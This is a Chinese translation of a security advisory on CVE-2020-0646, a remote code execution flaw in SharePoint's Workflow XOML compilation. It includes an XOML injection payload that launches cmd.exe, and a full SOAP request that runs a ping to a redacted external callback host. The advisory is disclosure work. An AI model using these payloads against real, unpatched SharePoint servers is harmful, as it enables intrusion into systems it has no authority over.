Workflow的代码注入导致SharePoint RCE(CVE-2020-0646)
2021-1-11 10:2:31 Author: mp.weixin.qq.com(查看原文) 阅读量:11 收藏

描述

2019年11月,通过Workflow代码注入在SharePoint Online执行远程代码的问题报告给了Microsoft,这个漏洞在在线平台上马上得到了解决。但2020年1月才在.NET Framework修补了主要漏洞。所以,没有2020年1月.NET补丁的SharePoint本地版本仍然会受到影响。

注意,如果IIS支持.XOML扩展名,文件上传攻击也可能滥用这个漏洞。

这个漏洞的影响与下面之前发现的漏洞相同(它们都影响相同的模块),但是它用了不同的技术,且不会绕过已实施的修复程序:

  • https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/

  • https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-microsoft-xoml-workflows-protection-mechanisms-using-deserialisation-of-untrusted-data/

分析CVE-2020-0646

编译XOML格式的文件可能会导致滥用System.Workflow.Activities命名空间中的某些参数在SharePoint服务器上运行任意代码。由于这个漏洞可以执行任意代码,所以它也可以绕过Workflow编译器的nocode选项。

以下是XOML使用CallExternalMethodActivity 类时的示例 :

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">  <CallExternalMethodActivity x:Name="codeActivity1" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//' /></SequentialWorkflowActivity>

在编译过程中,把InterfaceType属性的值注入到临时生成的C#文件中:

    private void InitializeComponent()    {        this.codeActivity1.InterfaceType = typeof(System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//);          }

所以,可以从函数转义,运行代码。注意,在影响InterfaceType属性的同时,其他字符串 类型的属性(如上述示例中的MethodName)也在被验证或转义 。

CodeActivity类的 ExecuteCode 参数也会受到影响, 但它在SharePoint Online版本上没有得到授权,只能在本地版本上使用。它还可能会滥用其他活动。

例如,以下HTTP请求能在SharePoint Online上执行代码:

POST http://[REDACTED].sharepoint.com/_vti_bin/webpartpages.asmx HTTP/1.1Date: Tue, 29 Oct 2019 14:26:21 GMTMIME-Version: 1.0Accept: */*SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSupportObjectsUser-Agent: Mozilla/4.0 (compatible; MS FrontPage 15.0)Host: [REDACTED].sharepoint.comAccept-Language: en-us, en;q=0.1Accept: auth/sicilyX-FORMS_BASED_AUTH_ACCEPTED: TContent-Type: text/xml; charset=utf-8X-Vermeer-Content-Type: text/xml; charset=utf-8Accept-encoding: gzip, deflateConnection: Keep-AlivePragma: no-cacheContent-Length: 1031Cookie: [REDACTED]
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages"><workflowMarkupText><![CDATA[<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow"> <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c ping o9ydzn3p7ed579lepxolocqyqpwik7.[redactedBurpCollabServer]");private/**/void/**/foobar(){//' />
</SequentialWorkflowActivity>

]]></workflowMarkupText><rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMarkupAndCreateSupportObjects></soap:Body></soap:Envelope>

DNS名称已解析:

上述请求也可以利用本地版本。

用了CVE-2020-0646补丁后,Workflow的所有XML元素和属性都会被检查一遍,确保它们仅包含有限数量的允许字符。选择nocode选项后,就不能在默认配置里把任意代码注入到已生成的C#代码中 。

本文作者是Soroush Dalili

木星安全实验室(MxLab),由中国网安·广州三零卫士成立,汇聚国内多名安全专家和反间谍专家组建而成,深耕工控安全、IoT安全、红队评估、反间谍、数据保护、APT分析等高级安全领域,木星安全实验室坚持在反间谍和业务安全的领域进行探索和研究。

文章来源: https://mp.weixin.qq.com/s?__biz=MzU1Mzk4Mzc5MA==&mid=2247485711&idx=1&sn=3481f5b464f0cf4d088d720406498a44&chksm=fbebc34ecc9c4a58b3a55d0e3f9206c4bde1e066123b0aee7022a63272e36f5800d84edcf7b0&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh